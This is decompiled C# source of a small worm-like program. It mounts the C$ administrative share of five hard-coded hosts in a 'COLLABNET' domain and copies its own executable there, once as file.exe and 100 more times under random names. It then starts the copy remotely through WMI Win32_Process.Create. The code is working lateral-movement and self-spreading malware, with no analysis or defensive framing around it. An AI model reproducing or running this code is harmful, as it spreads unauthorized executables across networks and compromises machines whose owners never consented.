using System;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Reflection;
using System.Runtime.InteropServices;

namespace test
{
	// Token: 0x02000002 RID: 2
	internal class Program
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002064 File Offset: 0x00000264
		public static void DoIt(string host, string domain, string username, string password = "")
		{
			try
			{
				Console.WriteLine("Remote host: " + host);
				Console.WriteLine("Remote domain: " + domain);
				Console.WriteLine("Remote username: " + username);
				if (password == "")
				{
					Console.WriteLine("No password specified");
				}
				else
				{
					Console.WriteLine("Remote password: " + password);
				}
				ConnectionOptions options = new ConnectionOptions
				{
					Impersonation = ImpersonationLevel.Impersonate,
					Username = domain + "\\" + username,
					Password = password
				};
				ManagementScope managementScope = new ManagementScope("\\\\" + host + "\\root\\cimv2", options);
				managementScope.Connect();
				ObjectGetOptions options2 = new ObjectGetOptions();
				ManagementPath path = new ManagementPath("Win32_Process");
				ManagementClass managementClass = new ManagementClass(managementScope, path, options2);
				ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Create");
				methodParameters["CommandLine"] = "C:\\file.exe";
				ManagementBaseObject managementBaseObject = managementClass.InvokeMethod("Create", methodParameters, null);
				string str = "Creation of the process returned: ";
				string str2;
				if (managementBaseObject != null)
				{
					object obj = managementBaseObject["returnValue"];
					if (obj != null)
					{
						str2 = obj.ToString();
						goto IL_101;
					}
				}
				str2 = null;
				IL_101:
				Console.WriteLine(str + str2);
				string str3 = "Process ID: ";
				string str4;
				if (managementBaseObject != null)
				{
					object obj2 = managementBaseObject["processId"];
					if (obj2 != null)
					{
						str4 = obj2.ToString();
						goto IL_12F;
					}
				}
				str4 = null;
				IL_12F:
				Console.WriteLine(str3 + str4);
			}
			catch (Exception ex)
			{
				Console.WriteLine(ex.ToString());
			}
			Console.WriteLine(Environment.NewLine);
		}

		// Token: 0x06000002 RID: 2
		[DllImport("advapi32.dll", BestFitMapping = false, SetLastError = true, ThrowOnUnmappableChar = true)]
		[return: MarshalAs(UnmanagedType.Bool)]
		internal static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName, [MarshalAs(UnmanagedType.LPStr)] string pszDomain, [MarshalAs(UnmanagedType.LPStr)] string pszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken);

		// Token: 0x06000003 RID: 3 RVA: 0x000021E0 File Offset: 0x000003E0
		private static void Main(string[] args)
		{
			Console.WriteLine("Trying method 2");
			Program.DoIt2("192.168.1.11", "COLLABNET", "VM1", "");
			Program.DoIt2("192.168.1.12", "COLLABNET", "VM2", "");
			Program.DoIt2("192.168.1.14", "COLLABNET", "VM4", "");
			Program.DoIt2("192.168.1.15", "COLLABNET", "VM5", "");
			Program.DoIt2("192.168.1.16", "COLLABNET", "VM6", "");
			Console.WriteLine("Trying method 1");
			Program.DoIt("192.168.1.11", "COLLABNET", "VM1", "");
			Program.DoIt("192.168.1.12", "COLLABNET", "VM2", "");
			Program.DoIt("192.168.1.14", "COLLABNET", "VM4", "");
			Program.DoIt("192.168.1.15", "COLLABNET", "VM5", "");
			Program.DoIt("192.168.1.16", "COLLABNET", "VM6", "");
			Console.ReadLine();
		}

		// Token: 0x06000004 RID: 4 RVA: 0x00002304 File Offset: 0x00000504
		private static void DoIt2(string host, string username, string domain, string password = "")
		{
			Console.WriteLine("Remote host: " + host);
			Console.WriteLine("Remote domain: " + domain);
			Console.WriteLine("Remote username: " + username);
			if (password == "")
			{
				Console.WriteLine("No password specified");
			}
			else
			{
				Console.WriteLine("Remote password: " + password);
			}
			try
			{
				Process process = new Process();
				process.StartInfo.UseShellExecute = false;
				process.StartInfo.RedirectStandardOutput = true;
				process.StartInfo.RedirectStandardError = true;
				process.StartInfo.FileName = "net.exe";
				process.StartInfo.Arguments = string.Concat(new string[]
				{
					"use s: \\\\",
					host,
					"\\C$ /user:",
					domain,
					"\\",
					username,
					" ",
					password
				});
				process.Start();
				string value = process.StandardOutput.ReadToEnd();
				string value2 = process.StandardError.ReadToEnd();
				process.WaitForExit();
				Console.WriteLine(value);
				Console.WriteLine(value2);
				Assembly entryAssembly = Assembly.GetEntryAssembly();
				string text = (entryAssembly != null) ? entryAssembly.Location : null;
				if (text != null)
				{
					File.Copy(text, "\\\\" + host + "\\C$\\file.exe", true);
				}
				for (int i = 0; i < 100; i++)
				{
					if (text != null)
					{
						File.Copy(text, string.Format("s:\\file{0}.exe", Program.rnd.Next(0, 999999)), true);
					}
				}
				Process process2 = new Process();
				process2.StartInfo.UseShellExecute = false;
				process2.StartInfo.RedirectStandardOutput = true;
				process2.StartInfo.RedirectStandardError = true;
				process2.StartInfo.FileName = "net.exe";
				process2.StartInfo.Arguments = "use s: /delete";
				process2.Start();
				string value3 = process2.StandardOutput.ReadToEnd();
				string value4 = process2.StandardError.ReadToEnd();
				process2.WaitForExit();
				Console.WriteLine(value3);
				Console.WriteLine(value4);
			}
			catch (Exception ex)
			{
				Console.WriteLine(ex.ToString());
			}
		}

		// Token: 0x04000001 RID: 1
		private static readonly Random rnd = new Random();
	}
}
